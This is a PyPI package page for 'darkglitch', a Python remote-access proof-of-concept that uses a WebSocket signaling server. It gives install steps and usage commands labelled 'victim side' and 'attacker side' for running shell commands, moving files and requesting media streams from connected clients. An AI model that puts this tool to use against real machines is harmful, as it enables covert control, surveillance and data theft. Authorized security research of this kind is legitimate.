Remote command delivery and media streaming tool over WebRTC signaling
Project description
darkglitch
darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It is intended for authorized security testing and educational use.
What it does
This tool can:
- start a listener that registers a client and waits for commands
- discover online peers on the same signaling room
- run shell commands remotely
- upload and download files
- request a media stream from a connected client
Requirements
- Python 3.10+
- dependencies from requirements.txt
Installation
From the project root, create and activate a virtual environment, then install the dependencies:
python3 -m venv .venv
source .venv/bin/activate
install the package:
pip install darkglitch
Configuration
Edit core/config.py to point the client to your signaling server and room:
HOST = "https://your-signal-server.example/"
ROOM = "your-room"
Usage
1. Start a listener (victim side)
python darkglitch.py -l -c
Use -l -s if you want to start a stream-enabled listener.
2. List online peers (attacker side)
python darkglitch.py -ol
3. Send a remote command
python darkglitch.py -c <client_id> "whoami"
4. Request a media stream
python darkglitch.py -s <client_id>
5. Upload or download files
python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file
Help and version
python darkglitch.py -h
python darkglitch.py -v
Notes
This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file darkglitch-1.1.2.tar.gz.
File metadata
- Download URL: darkglitch-1.1.2.tar.gz
- Upload date:
- Size: 27.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.14.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
afa0689e8d0d35421767a68dbdc76d01d9730306ba0c76b2c73964f1ff62486e
|
|
| MD5 |
68e29fe34e906c0278a01d7a1a6fa282
|
|
| BLAKE2b-256 |
695b01e4b74644e33c3740185db00373760b24661bdd93fdf1fd278394aa1853
|
File details
Details for the file darkglitch-1.1.2-py3-none-any.whl.
File metadata
- Download URL: darkglitch-1.1.2-py3-none-any.whl
- Upload date:
- Size: 31.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.14.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f998984f6656e89e85dde37a648dd9c00acd75a91479f159a15d3668c2a51956
|
|
| MD5 |
016671bc0fb75ec4adaca05542ef219c
|
|
| BLAKE2b-256 |
9dabf604f1be6b9a7c461d8c49fdd85604406d00fc88db3232752584d4baee51
|